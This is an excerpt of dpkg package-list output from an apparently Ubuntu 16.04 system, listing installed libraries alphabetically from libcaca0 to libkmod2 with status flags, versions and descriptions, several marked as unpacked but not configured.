iU libcaca0 0.99.beta19-2ubuntu0.16.04.2 amd64 colour ASCII art library
ii libcairo-gobject2 1.14.6-1 amd64 Cairo 2D vector graphics library (GObject library)
ii libcairo-perl 1.106-1build1 amd64 Perl interface to the Cairo graphics library
ii libcairo2 1.14.6-1 amd64 Cairo 2D vector graphics library
ii libcairomm-1.0-1v5 1.12.0-1 amd64 C++ wrappers for Cairo (shared libraries)
iU libcamel-1.2-54 3.18.5-1ubuntu1.3 amd64 Evolution MIME message handling library
ii libcanberra-gtk-module 0.30-2.1ubuntu1 amd64 translates GTK+ widgets signals to event sounds
ii libcanberra-gtk0 0.30-2.1ubuntu1 amd64 GTK+ helper for playing widget event sounds with libcanberra
ii libcanberra-gtk3-0 0.30-2.1ubuntu1 amd64 GTK+ 3.0 helper for playing widget event sounds with libcanberra
ii libcanberra-gtk3-module 0.30-2.1ubuntu1 amd64 translates GTK3 widgets signals to event sounds
ii libcanberra-pulse 0.30-2.1ubuntu1 amd64 PulseAudio backend for libcanberra
ii libcanberra0 0.30-2.1ubuntu1 amd64 simple abstract interface for playing event sounds
ii libcap-ng0 0.7.7-1 amd64 An alternate POSIX capabilities library
ii libcap2 1:2.24-12 amd64 POSIX 1003.1e capabilities (library)
ii libcap2-bin 1:2.24-12 amd64 POSIX 1003.1e capabilities (utilities)
iU libcapnp-0.5.3 0.5.3-2ubuntu1.1 amd64 Cap'n Proto C++ library
iU libcc1-0 5.4.0-6ubuntu1~16.04.12 amd64 GCC cc1 plugin for GDB
ii libcdio-cdda1 0.83-4.2ubuntu1 amd64 library to read and control digital audio CDs
ii libcdio-paranoia1 0.83-4.2ubuntu1 amd64 library to read digital audio CDs with error correction
ii libcdio13 0.83-4.2ubuntu1 amd64 library to read and control CD-ROM
ii libcdparanoia0 3.10.2+debian-11 amd64 audio extraction tool for sampling CDs (library)
ii libcdr-0.1-1 0.1.2-2ubuntu2 amd64 library for reading and converting Corel DRAW files
ii libcgi-fast-perl 1:2.10-1 all CGI subclass for work with FCGI
ii libcgi-pm-perl 4.26-1 all module for Common Gateway Interface applications
ii libcgmanager0 0.39-2ubuntu5 amd64 Central cgroup manager daemon (client library)
ii libcheese-gtk25 3.18.1-2ubuntu3 amd64 tool to take pictures and videos from your webcam - widgets
ii libcheese8 3.18.1-2ubuntu3 amd64 tool to take pictures and videos from your webcam - base library
iU libcilkrts5 5.4.0-6ubuntu1~16.04.12 amd64 Intel Cilk Plus language extensions (runtime)
ii libclass-accessor-perl 0.34-1 all Perl module that automatically generates accessors
ii libclone-perl 0.38-1build1 amd64 module for recursively copying Perl datatypes
ii libclucene-contribs1v5 2.3.3.4-4.1 amd64 language specific text analyzers (runtime)
ii libclucene-core1v5 2.3.3.4-4.1 amd64 core library for full-featured text search engine (runtime)
ii libclutter-1.0-0 1.24.2-1 amd64 Open GL based interactive canvas library
ii libclutter-1.0-common 1.24.2-1 all Open GL based interactive canvas library (common files)
ii libclutter-gst-3.0-0 3.0.18-1 amd64 Open GL based interactive canvas library GStreamer elements
ii libclutter-gtk-1.0-0 1.6.6-1 amd64 Open GL based interactive canvas library GTK+ widget
ii libcmis-0.5-5v5 0.5.1-2ubuntu2 amd64 CMIS protocol client library
ii libcogl-common 1.22.0-2 all Object oriented GL/GLES Abstraction/Utility Layer (common files)
ii libcogl-pango20 1.22.0-2 amd64 Object oriented GL/GLES Abstraction/Utility Layer
ii libcogl-path20 1.22.0-2 amd64 Object oriented GL/GLES Abstraction/Utility Layer
ii libcogl20 1.22.0-2 amd64 Object oriented GL/GLES Abstraction/Utility Layer
ii libcolamd2.9.1 1:4.4.6-1 amd64 column approximate minimum degree ordering library for sparse matrices
ii libcolord2 1.2.12-1ubuntu1 amd64 system service to manage device colour profiles -- runtime
ii libcolorhug2 1.2.12-1ubuntu1 amd64 library to access the ColorHug colourimeter -- runtime
ii libcolumbus1-common 1.1.0+15.10.20150806-0ubuntu4 all error tolerant matching engine - common files
ii libcolumbus1v5 1.1.0+15.10.20150806-0ubuntu4 amd64 error tolerant matching engine - shared library
ii libcomerr2 1.42.13-1ubuntu1.2 amd64 common error description library
ii libcompizconfig0 1:0.9.12.2+16.04.20160823-0ubuntu1 amd64 Settings library for plugins - OpenCompositing Project
ii libcrack2 2.9.2-1ubuntu1 amd64 pro-active password checker library
ii libcroco3 0.6.11-1 amd64 Cascading Style Sheet (CSS) parsing and manipulation toolkit
ii libcryptsetup4 2:1.6.6-5ubuntu2.1 amd64 disk encryption support - shared library
iU libcups2 2.1.3-4ubuntu0.11 amd64 Common UNIX Printing System(tm) - Core library
iU libcupscgi1 2.1.3-4ubuntu0.11 amd64 Common UNIX Printing System(tm) - CGI library
iU libcupsfilters1 1.8.3-2ubuntu3.5 amd64 OpenPrinting CUPS Filters - Shared library
iU libcupsimage2 2.1.3-4ubuntu0.11 amd64 Common UNIX Printing System(tm) - Raster image library
iU libcupsmime1 2.1.3-4ubuntu0.11 amd64 Common UNIX Printing System(tm) - MIME library
iU libcupsppdc1 2.1.3-4ubuntu0.11 amd64 Common UNIX Printing System(tm) - PPD manipulation library
iU libcurl3 7.47.0-1ubuntu2.19 amd64 easy-to-use client-side URL transfer library (OpenSSL flavour)
iU libcurl3-gnutls 7.47.0-1ubuntu2.19 amd64 easy-to-use client-side URL transfer library (GnuTLS flavour)
ii libdaemon0 0.14-6 amd64 lightweight C library for daemons - runtime library
ii libdata-alias-perl 1.20-1build1 amd64 module to create aliases instead of copies
ii libdatrie1 0.2.10-2 amd64 Double-array trie library
ii libdb5.3 5.3.28-11ubuntu0.2 amd64 Berkeley v5.3 Database Libraries [runtime]
iU libdbus-1-3 1.10.6-1ubuntu3.6 amd64 simple interprocess messaging system (library)
ii libdbus-glib-1-2 0.106-1 amd64 simple interprocess messaging system (GLib-based shared library)
ii libdbusmenu-glib4 16.04.1+16.04.20160927-0ubuntu1 amd64 library for passing menus over DBus
ii libdbusmenu-gtk3-4 16.04.1+16.04.20160927-0ubuntu1 amd64 library for passing menus over DBus - GTK+ version
ii libdbusmenu-gtk4 16.04.1+16.04.20160927-0ubuntu1 amd64 library for passing menus over DBus - GTK+ version
ii libdbusmenu-qt2 0.9.3+16.04.20160218-0ubuntu1 amd64 Qt implementation of the DBusMenu protocol
ii libdbusmenu-qt5 0.9.3+16.04.20160218-0ubuntu1 amd64 Qt5 implementation of the DBusMenu protocol
ii libdconf1 0.24.0-2 amd64 simple configuration storage system - runtime library
ii libdebconfclient0 0.198ubuntu1 amd64 Debian Configuration Management System (C-implementation library)
```

```
ii libdecoration0 1:0.9.12.2+16.04.20160823-0ubuntu1 amd64 Compiz window decoration library
ii libdee-1.0-4 1.2.7+15.04.20150304-0ubuntu2 amd64 model to synchronize multiple instances over DBus - shared lib
ii libdevmapper1.02.1 2:1.02.110-1ubuntu10 amd64 Linux Kernel Device Mapper userspace library
iU libdfu1 0.8.3-0ubuntu5.1 amd64 Firmware update daemon library for DFU support
ii libdigest-hmac-perl 1.03+dfsg-1 all module for creating standard message integrity checks
iU libdjvulibre-text 3.5.27.1-5ubuntu0.1 all Linguistic support files for libdjvulibre
iU libdjvulibre21 3.5.27.1-5ubuntu0.1 amd64 Runtime support for the DjVu image format
ii libdmapsharing-3.0-2 2.9.34-1 amd64 DMAP client and server library - runtime
iU libdns-export162 1:9.10.3.dfsg.P4-8ubuntu1.19 amd64 Exported DNS Shared Library
iU libdns162 1:9.10.3.dfsg.P4-8ubuntu1.19 amd64 DNS Shared Library used by BIND
ii libdotconf0 1.3-0.2 amd64 Configuration file parser library - runtime files
ii libdouble-conversion1v5 2.0.1-3ubuntu2 amd64 routines to convert IEEE floats to and from strings
ii libdpkg-perl 1.18.4ubuntu1.2 all Dpkg perl modules
ii libdrm-amdgpu1 2.4.76-1~ubuntu16.04.1 amd64 Userspace interface to amdgpu-specific kernel DRM services -- runtime
ii libdrm-intel1 2.4.76-1~ubuntu16.04.1 amd64 Userspace interface to intel-specific kernel DRM services -- runtime
ii libdrm-nouveau2 2.4.76-1~ubuntu16.04.1 amd64 Userspace interface to nouveau-specific kernel DRM services -- runtime
ii libdrm-radeon1 2.4.76-1~ubuntu16.04.1 amd64 Userspace interface to radeon-specific kernel DRM services -- runtime
ii libdrm2 2.4.76-1~ubuntu16.04.1 amd64 Userspace interface to kernel DRM services -- runtime
ii libdv4 1.0.0-7 amd64 software library for DV format digital video (runtime lib)
ii libe-book-0.1-1 0.1.2-2ubuntu1 amd64 library for reading and converting various e-book formats
iU libebackend-1.2-10 3.18.5-1ubuntu1.3 amd64 Utility library for evolution data servers
iU libebook-1.2-16 3.18.5-1ubuntu1.3 amd64 Client library for evolution address books
iU libebook-contacts-1.2-2 3.18.5-1ubuntu1.3 amd64 Client library for evolution contacts books
iU libecal-1.2-19 3.18.5-1ubuntu1.3 amd64 Client library for evolution calendars
iU libedata-book-1.2-25 3.18.5-1ubuntu1.3 amd64 Backend library for evolution address books
iU libedata-cal-1.2-28 3.18.5-1ubuntu1.3 amd64 Backend library for evolution calendars
iU libedataserver-1.2-21 3.18.5-1ubuntu1.3 amd64 Utility library for evolution data servers
iU libedataserverui-1.2-1 3.18.5-1ubuntu1.3 amd64 Utility library for evolution data servers
ii libedit2 3.1-20150325-1ubuntu2 amd64 BSD editline and history libraries
ii libefivar0 0.23-2 amd64 Library to manage UEFI variables
ii libegl1-mesa 17.0.7-0ubuntu0.16.04.2 amd64 free implementation of the EGL API -- runtime
iU libelf1 0.165-3ubuntu1.2 amd64 library to read and write ELF files
ii libemail-valid-perl 1.198-1 all Perl module for checking the validity of Internet email addresses
ii libenchant1c2a 1.6.0-10.1build2 amd64 Wrapper library for various spell checker engines (runtime libs)
ii libencode-locale-perl 1.05-1 all utility to determine the locale encoding
ii libeot0 0.01-3ubuntu1 amd64 Library for parsing/converting Embedded OpenType files
ii libepoxy0 1.3.1-1ubuntu0.16.04.2 amd64 OpenGL function pointer management library
ii libespeak1 1.48.04+dfsg-2 amd64 Multi-lingual software speech synthesizer: shared library
ii libestr0 0.1.10-1 amd64 Helper functions for handling strings (lib)
ii libetonyek-0.1-1 0.1.6-1ubuntu1 amd64 library for reading and converting Apple Keynote presentations
ii libevdev2 1.4.6+dfsg-1 amd64 wrapper library for evdev devices
iU libevdocument3-4 3.18.2-1ubuntu4.6 amd64 Document (PostScript, PDF) rendering library
ii libevent-2.0-5 2.0.21-stable-2ubuntu0.16.04.1 amd64 Asynchronous event notification library
ii libevent-core-2.0-5 2.0.21-stable-2ubuntu0.16.04.1 amd64 Asynchronous event notification library (core)
iU libevview3-3 3.18.2-1ubuntu4.6 amd64 Document (PostScript, PDF) rendering library - Gtk+ widgets
iU libexempi3 2.2.2-2ubuntu0.1 amd64 library to parse XMP metadata (Library)
iU libexif12 0.6.21-2ubuntu0.6 amd64 library to parse EXIF files
iU libexiv2-14 0.25-2.1ubuntu16.04.6 amd64 EXIF/IPTC/XMP metadata manipulation library
iU libexpat1 2.1.0-7ubuntu0.16.04.5 amd64 XML parsing C library - runtime library
ii libexporter-tiny-perl 0.042-1 all tiny exporter similar to Sub::Exporter
ii libexttextcat-2.0-0 3.4.4-1ubuntu3 amd64 Language detection library
ii libexttextcat-data 3.4.4-1ubuntu3 all Language detection library - data files
ii libfakeroot 1.20.2-1ubuntu1 amd64 tool for simulating superuser privileges - shared libraries
ii libfcgi-perl 0.77-1build1 amd64 helper module for FastCGI
ii libfcitx-config4 1:4.2.9.1-1ubuntu1.16.04.2 amd64 Flexible Input Method Framework - configuration support library
ii libfcitx-gclient0 1:4.2.9.1-1ubuntu1.16.04.2 amd64 Flexible Input Method Framework - D-Bus client library for Glib
ii libfcitx-utils0 1:4.2.9.1-1ubuntu1.16.04.2 amd64 Flexible Input Method Framework - utility support library
ii libfdisk1 2.27.1-6ubuntu3.3 amd64 fdisk partitioning library
ii libffi6 3.2.1-4 amd64 Foreign Function Interface library runtime
ii libfftw3-double3 3.3.4-2ubuntu1 amd64 Library for computing Fast Fourier Transforms - Double precision
ii libfftw3-single3 3.3.4-2ubuntu1 amd64 Library for computing Fast Fourier Transforms - Single precision
ii libfile-basedir-perl 0.07-1 all Perl module to use the freedesktop basedir specification
ii libfile-copy-recursive-perl 0.38-1 all Perl extension for recursively copying files and directories
ii libfile-desktopentry-perl 0.22-1 all Perl module to handle freedesktop .desktop files
ii libfile-fcntllock-perl 0.22-3 amd64 Perl module for file locking with fcntl(2)
ii libfile-listing-perl 6.04-1 all module to parse directory listings
ii libfile-mimeinfo-perl 0.27-1 all Perl module to determine file types
ii libflac8 1.3.1-4 amd64 Free Lossless Audio Codec - runtime C library
ii libfont-afm-perl 1.20-1 all Font::AFM - Interface to Adobe Font Metrics files
ii libfontconfig1 2.11.94-0ubuntu1.1 amd64 generic font configuration library - runtime
iU libfontembed1 1.8.3-2ubuntu3.5 amd64 OpenPrinting CUPS Filters - Font Embed Shared library
ii libfontenc1 1:1.1.3-1 amd64 X11 font encoding library
ii libframe6 2.5.0daily13.06.05+16.04.20160809-0ubuntu1 amd64 Touch Frame Library
ii libfreehand-0.1-1 0.1.1-1ubuntu1 amd64 Library for parsing the FreeHand file format structure
iU libfreerdp-cache1.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Free Remote Desktop Protocol library (cache library)
iU libfreerdp-client1.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Free Remote Desktop Protocol library (client library)
iU libfreerdp-codec1.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Free Remote Desktop Protocol library (codec library)
iU libfreerdp-common1.1.0 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Free Remote Desktop Protocol library (common library)
iU libfreerdp-core1.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Free Remote Desktop Protocol library (core library)
iU libfreerdp-crypto1.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Free Remote Desktop Protocol library (freerdp-crypto
library)
iU libfreerdp-gdi1.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Free Remote Desktop Protocol library (GDI library)
iU libfreerdp-locale1.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Free Remote Desktop Protocol library (locale library)
iU libfreerdp-plugins-standard 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 RDP client for Windows Terminal Services (plugins)
iU libfreerdp-primitives1.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Free Remote Desktop Protocol library (primitives
library)
iU libfreerdp-utils1.1 1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4 amd64 Free Remote Desktop Protocol library (freerdp-utils
library)
iU libfreetype6 2.6.1-0.1ubuntu2.5 amd64 FreeType 2 font engine, shared library files
ii libfribidi0 0.19.7-1 amd64 Free Implementation of the Unicode BiDi algorithm
ii libfuse2 2.9.4-1ubuntu3.1 amd64 Filesystem in Userspace (library)
ii libfwup0 0.5-2ubuntu5 amd64 Library to manage UEFI firmware updates
iU libfwupd1 0.8.3-0ubuntu5.1 amd64 Firmware update daemon library
ii libgail-3-0 3.18.9-1ubuntu3.3 amd64 GNOME Accessibility Implementation Library -- shared libraries
ii libgail-common 2.24.30-1ubuntu1.16.04.2 amd64 GNOME Accessibility Implementation Library -- common modules
ii libgail18 2.24.30-1ubuntu1.16.04.2 amd64 GNOME Accessibility Implementation Library -- shared libraries
ii libgbm1 17.0.7-0ubuntu0.16.04.2 amd64 generic buffer management API -- runtime
ii libgc1c2 1:7.4.2-7.3ubuntu0.1 amd64 conservative garbage collector for C and C++
iU libgcab-1.0-0 0.7-1ubuntu0.1 amd64 Microsoft Cabinet file manipulation library
```

```
iU libgcc-5-dev 5.4.0-6ubuntu1~16.04.12 amd64 GCC support library (development files)
ii libgcc1 1:6.0.1-0ubuntu1 amd64 GCC support library
ii libgck-1-0 3.18.0-1ubuntu1 amd64 Glib wrapper library for PKCS#11 - runtime
ii libgconf-2-4 3.2.6-3ubuntu6 amd64 GNOME configuration database system (shared libraries)
ii libgcr-3-common 3.18.0-1ubuntu1 all Library for Crypto UI related tasks - common files
ii libgcr-base-3-1 3.18.0-1ubuntu1 amd64 Library for Crypto related tasks
ii libgcr-ui-3-1 3.18.0-1ubuntu1 amd64 Library for Crypto UI related tasks
ii libgcrypt20 1.6.5-2ubuntu0.6 amd64 LGPL Crypto library - runtime library
iU libgd3 2.1.1-4ubuntu0.16.04.12 amd64 GD Graphics Library
ii libgdata-common 0.17.4-1 all Library for accessing GData webservices - common data files
ii libgdata22 0.17.4-1 amd64 Library for accessing GData webservices - shared libraries
ii libgdbm3 1.8.3-13.1 amd64 GNU dbm database routines (runtime version)
iU libgdk-pixbuf2.0-0 2.32.2-1ubuntu1.6 amd64 GDK Pixbuf library
iU libgdk-pixbuf2.0-common 2.32.2-1ubuntu1.6 all GDK Pixbuf library - data files
ii libgee-0.8-2 0.18.0-1 amd64 GObject based collection and utility library
ii libgeis1 2.2.17+16.04.20160126-0ubuntu1 amd64 Gesture engine interface support
ii libgeoclue0 0.12.99-4ubuntu1 amd64 C API for GeoClue
ii libgeocode-glib0 3.18.2-1 amd64 geocoding and reverse geocoding GLib library using Nominatim
ii libgeoip1 1.6.9-1 amd64 non-DNS IP-to-country resolver library
ii libgeonames0 0.2+16.04.20160321-0ubuntu1 amd64 Parse and query the geonames database dump
iU libgettextpo-dev 0.19.7-2ubuntu3.1 amd64 GNU Internationalization library development files
iU libgettextpo0 0.19.7-2ubuntu3.1 amd64 GNU Internationalization library
ii libgexiv2-2 0.10.3-2 amd64 GObject-based wrapper around the Exiv2 library
ii libgirepository-1.0-1 1.46.0-3ubuntu1 amd64 Library for handling GObject introspection data (runtime library)
ii libgl1-mesa-dri 17.0.7-0ubuntu0.16.04.2 amd64 free implementation of the OpenGL API -- DRI modules
ii libgl1-mesa-glx 17.0.7-0ubuntu0.16.04.2 amd64 free implementation of the OpenGL API -- GLX runtime
ii libglapi-mesa 17.0.7-0ubuntu0.16.04.2 amd64 free implementation of the GL API -- shared library
ii libglew1.13 1.13.0-2 amd64 OpenGL Extension Wrangler - runtime environment
ii libglewmx1.13 1.13.0-2 amd64 OpenGL Extension Wrangler (Multiple Rendering Contexts)
ii libglib-perl 3:1.320-2 amd64 interface to the GLib and GObject libraries
iU libglib2.0-0 2.48.2-0ubuntu4.8 amd64 GLib library of C routines
iU libglib2.0-bin 2.48.2-0ubuntu4.8 amd64 Programs for the GLib library
iU libglib2.0-data 2.48.2-0ubuntu4.8 all Common files for GLib library
ii libglibmm-2.4-1v5 2.46.3-1 amd64 C++ wrapper for the GLib toolkit (shared libraries)
ii libglu1-mesa 9.0.0-2.1 amd64 Mesa OpenGL utility library (GLU)
ii libgmime-2.6-0 2.6.20-1 amd64 MIME message parser and creator library - runtime
ii libgmp10 2:6.1.0+dfsg-2 amd64 Multiprecision arithmetic library
ii libgnome-bluetooth13 3.18.2-1ubuntu2 amd64 GNOME Bluetooth tools - support library
ii libgnome-desktop-3-12 3.18.2-1ubuntu1 amd64 Utility library for loading .desktop files - runtime files
ii libgnome-keyring-common 3.12.0-1build1 all GNOME keyring services library - data files
ii libgnome-keyring0 3.12.0-1build1 amd64 GNOME keyring services library
ii libgnome-menu-3-0 3.13.3-6ubuntu3.1 amd64 GNOME implementation of the freedesktop menu specification
ii libgnomekbd-common 3.6.0-1ubuntu2 all GNOME library to manage keyboard configuration - common files
ii libgnomekbd8 3.6.0-1ubuntu2 amd64 GNOME library to manage keyboard configuration - shared library
iU libgnutls-openssl27 3.4.10-4ubuntu1.7 amd64 GNU TLS library - OpenSSL wrapper
iU libgnutls30 3.4.10-4ubuntu1.7 amd64 GNU TLS library - main runtime library
ii libgoa-1.0-0b 3.18.3-1ubuntu2 amd64 library for GNOME Online Accounts
ii libgoa-1.0-common 3.18.3-1ubuntu2 all library for GNOME Online Accounts - common files
ii libgom-1.0-0 0.3.1-1 amd64 Object mapper from GObjects to SQLite
ii libgom-1.0-common 0.3.1-1 all libgom architecture-independent files
iU libgomp1 5.4.0-6ubuntu1~16.04.12 amd64 GCC OpenMP (GOMP) support library
ii libgpg-error0 1.21-2ubuntu1 amd64 library for common error values and messages in GnuPG components
ii libgpgme11 1.6.0-1 amd64 GPGME - GnuPG Made Easy (library)
ii libgphoto2-6 2.5.9-3 amd64 gphoto2 digital camera library
ii libgphoto2-l10n 2.5.9-3 all gphoto2 digital camera library - localized messages
ii libgphoto2-port12 2.5.9-3 amd64 gphoto2 digital camera port library
ii libgpm2 1.20.4-6.1 amd64 General Purpose Mouse - shared library
ii libgpod-common 0.8.3-6ubuntu2 amd64 common files for libgpod
ii libgpod4 0.8.3-6ubuntu2 amd64 library to read and write songs and artwork to an iPod
ii libgrail6 3.1.0+16.04.20160125-0ubuntu1 amd64 Gesture Recognition And Instantiation Library
ii libgraphite2-3 1.3.10-0ubuntu0.16.04.1 amd64 Font rendering engine for Complex Scripts -- library
ii libgrilo-0.2-1 0.2.15-1 amd64 Framework for discovering and browsing media - Shared libraries
iU libgs9 9.26~dfsg+0-0ubuntu0.16.04.14 amd64 interpreter for the PostScript language and for PDF - Library
iU libgs9-common 9.26~dfsg+0-0ubuntu0.16.04.14 all interpreter for the PostScript language and for PDF - common files
ii libgsettings-qt1 0.1+16.04.20160329-0ubuntu1 amd64 Library to access GSettings from Qt
iU libgssapi-krb5-2 1.13.2+dfsg-5ubuntu2.2 amd64 MIT Kerberos runtime libraries - krb5 GSS-API Mechanism
ii libgssapi3-heimdal 1.7~git20150920+dfsg-4ubuntu1.16.04.1 amd64 Heimdal Kerberos - GSSAPI support library
iU libgstreamer-plugins-base1.0-0 1.8.3-1ubuntu0.3 amd64 GStreamer libraries from the "base" set
iU libgstreamer-plugins-good1.0-0 1.8.3-1ubuntu0.5 amd64 GStreamer development files for libraries from the "good" set
ii libgstreamer1.0-0 1.8.3-1~ubuntu0.1 amd64 Core GStreamer libraries and elements
it libgtk-3-0 3.18.9-1ubuntu3.3 amd64 GTK+ graphical user interface library
ii libgtk-3-bin 3.18.9-1ubuntu3.3 amd64 programs for the GTK+ graphical user interface library
ii libgtk-3-common 3.18.9-1ubuntu3.3 all common files for the GTK+ graphical user interface library
ii libgtk2-perl 2:1.2498-1 amd64 Perl interface to the 2.x series of the Gimp Toolkit library
it libgtk2.0-0 2.24.30-1ubuntu1.16.04.2 amd64 GTK+ graphical user interface library
ii libgtk2.0-bin 2.24.30-1ubuntu1.16.04.2 amd64 programs for the GTK+ graphical user interface library
ii libgtk2.0-common 2.24.30-1ubuntu1.16.04.2 all common files for the GTK+ graphical user interface library
ii libgtkmm-3.0-1v5 3.18.0-1 amd64 C++ wrappers for GTK+ (shared libraries)
ii libgtksourceview-3.0-1 3.18.2-1 amd64 shared libraries for the GTK+ syntax highlighting widget
ii libgtksourceview-3.0-common 3.18.2-1 all common files for the GTK+ syntax highlighting widget
ii libgtkspell3-3-0 3.0.7-2 amd64 spell-checking addon for GTK+'s TextView widget
ii libgtop-2.0-10 2.32.0-1 amd64 gtop system monitoring library (shared)
ii libgtop2-common 2.32.0-1 all gtop system monitoring library (common)
ii libgucharmap-2-90-7 1:3.18.2-1ubuntu1 amd64 Unicode browser widget library (shared library)
ii libgudev-1.0-0 1:230-2 amd64 GObject-based wrapper library for libudev
ii libgusb2 0.2.9-0ubuntu1 amd64 GLib wrapper around libusb1
ii libgutenprint2 5.2.11-1 amd64 runtime for the Gutenprint printer driver library
ii libgweather-3-6 3.18.2-0ubuntu0.1 amd64 GWeather shared library
ii libgweather-common 3.18.2-0ubuntu0.1 all GWeather common files
ii libgxps2 0.2.3.2-1 amd64 handling and rendering XPS documents (library)
ii libhardware2 0.1.0+git20151016+6d424c9-0ubuntu7 amd64 Library to provide access to the Android libhardware HAL
ii libharfbuzz-icu0 1.0.1-1ubuntu0.1 amd64 OpenType text shaping engine ICU backend
ii libharfbuzz0b 1.0.1-1ubuntu0.1 amd64 OpenType text shaping engine (shared library)
ii libhcrypto4-heimdal 1.7~git20150920+dfsg-4ubuntu1.16.04.1 amd64 Heimdal Kerberos - crypto library
ii libheimbase1-heimdal 1.7~git20150920+dfsg-4ubuntu1.16.04.1 amd64 Heimdal Kerberos - Base library
ii libheimntlm0-heimdal 1.7~git20150920+dfsg-4ubuntu1.16.04.1 amd64 Heimdal Kerberos - NTLM support library
iU libhogweed4 3.2-1ubuntu0.16.04.2 amd64 low level cryptographic library (public-key cryptos)
ii libhpmud0 3.16.3+repack0-1 amd64 HP Multi-Point Transport Driver (hpmud) run-time libraries
ii libhtml-form-perl 6.03-1 all module that represents an HTML form element
```

```
ii libhtml-format-perl 2.11-2 all module for transforming HTML into various formats
ii libhtml-parser-perl 3.72-1 amd64 collection of modules that parse HTML text documents
ii libhtml-tagset-perl 3.20-2 all Data tables pertaining to HTML
ii libhtml-template-perl 2.95-2 all module for using HTML templates with Perl
ii libhtml-tree-perl 5.03-2 all Perl module to represent and create HTML syntax trees
ii libhttp-cookies-perl 6.01-1 all HTTP cookie jars
ii libhttp-daemon-perl 6.01-1 all simple http server class
ii libhttp-date-perl 6.02-1 all module of date conversion routines
ii libhttp-message-perl 6.11-1 all perl interface to HTTP style messages
ii libhttp-negotiate-perl 6.00-2 all implementation of content negotiation
ii libhud2 14.10+16.04.20160415-0ubuntu1 amd64 library for exporting items to the Unity HUD
ii libhunspell-1.3-0 1.3.3-4ubuntu1 amd64 spell checker and morphological analyzer (shared library)
ii libhx509-5-heimdal 1.7~git20150920+dfsg-4ubuntu1.16.04.1 amd64 Heimdal Kerberos - X509 support library
ii libhybris 0.1.0+git20151016+6d424c9-0ubuntu7 amd64 Allows to run bionic-based HW adaptations in glibc systems - libs
ii libhybris-common1 0.1.0+git20151016+6d424c9-0ubuntu7 amd64 Common library that contains the Android linker and custom hooks
ii libhyphen0 2.8.8-2ubuntu1 amd64 ALTLinux hyphenation library - shared library
iU libibus-1.0-5 1.5.11-1ubuntu2.4 amd64 Intelligent Input Bus - shared library
ii libical1a 1.0.1-0ubuntu2 amd64 iCalendar library implementation in C (runtime)
ii libice6 2:1.0.9-1 amd64 X11 Inter-Client Exchange library
iU libicu55 55.1-7ubuntu0.5 amd64 International Components for Unicode
ii libidn11 1.32-3ubuntu1.2 amd64 GNU Libidn library, implementation of IETF IDN specifications
ii libido3-0.1-0 13.10.0+16.04.20161028-0ubuntu1 amd64 Shared library providing extra gtk menu items for display in
ii libiec61883-0 1.2.0-0.2 amd64 an partial implementation of IEC 61883
ii libieee1284-3 0.2.11-12 amd64 cross-platform library for parallel port access
ii libijs-0.35 0.35-12 amd64 IJS raster image transport protocol: shared library
ii libilmbase12 2.2.0-11ubuntu2 amd64 several utility libraries from ILM used by OpenEXR
ii libimobiledevice6 1.2.0+dfsg-3~ubuntu0.2 amd64 Library for communicating with the iPhone and iPod Touch
ii libindicator3-7 12.10.2+16.04.20151208-0ubuntu1 amd64 panel indicator applet - shared library
ii libinput-bin 1.6.3-1ubuntu1~16.04.1 amd64 input device management and event handling library - udev quirks
ii libinput10 1.6.3-1ubuntu1~16.04.1 amd64 input device management and event handling library - shared library
ii libio-html-perl 1.001-1 all open an HTML file with automatic charset detection
ii libio-pty-perl 1:1.08-1.1build1 amd64 Perl module for pseudo tty IO
ii libio-socket-inet6-perl 2.72-2 all object interface for AF_INET6 domain sockets
ii libio-socket-ssl-perl 2.024-1 all Perl module implementing object oriented interface to SSL sockets
ii libio-string-perl 1.08-3 all Emulate IO::File interface for in-core strings
ii libipc-run-perl 0.94-1 all Perl module for running processes
ii libipc-system-simple-perl 1.25-3 all Perl module to run commands simply, with detailed diagnostics
iU libisc-export160 1:9.10.3.dfsg.P4-8ubuntu1.19 amd64 Exported ISC Shared Library
iU libisc160 1:9.10.3.dfsg.P4-8ubuntu1.19 amd64 ISC Shared Library used by BIND
iU libisccc140 1:9.10.3.dfsg.P4-8ubuntu1.19 amd64 Command Channel Library used by BIND
iU libisccfg140 1:9.10.3.dfsg.P4-8ubuntu1.19 amd64 Config File Handling Library used by BIND
ii libisl15 0.16.1-1 amd64 manipulating sets and relations of integer points bounded by linear constraints
iU libitm1 5.4.0-6ubuntu1~16.04.12 amd64 GNU Transactional Memory Library
ii libiw30 30~pre9-8ubuntu1 amd64 Wireless tools - library
ii libjack-jackd2-0 1.9.10+20150825git1ed50c92~dfsg-1ubuntu1 amd64 JACK Audio Connection Kit (libraries)
iU libjasper1 1.900.1-debian1-2.4ubuntu1.3 amd64 JasPer JPEG-2000 runtime library
iU libjavascriptcoregtk-4.0-18 2.20.5-0ubuntu0.16.04.1 amd64 JavaScript engine library from WebKitGTK+
ii libjbig0 2.1-3.1 amd64 JBIGkit libraries
ii libjbig2dec0 0.12+20150918-1ubuntu0.1 amd64 JBIG2 decoder library - shared libraries
iU libjpeg-turbo8 1.4.2-0ubuntu3.4 amd64 IJG JPEG compliant runtime library.
ii libjpeg8 8c-2ubuntu8 amd64 Independent JPEG Group's JPEG runtime library (dependency package)
iU libjson-c2 0.11-4ubuntu2.6 amd64 JSON manipulation library - shared library
ii libjson-glib-1.0-0 1.1.2-0ubuntu1 amd64 GLib JSON manipulation library
ii libjson-glib-1.0-common 1.1.2-0ubuntu1 all GLib JSON manipulation library (common files)
iU libk5crypto3 1.13.2+dfsg-5ubuntu2.2 amd64 MIT Kerberos runtime libraries - Crypto Library
ii libkeyutils1 1.5.9-8ubuntu1 amd64 Linux Key Management Utilities (library)
ii libklibc 2.0.4-8ubuntu1.16.04.3 amd64 minimal libc subset for use with initramfs
ii libkmod2 22-1ubuntu5 amd64 libkmod shared library
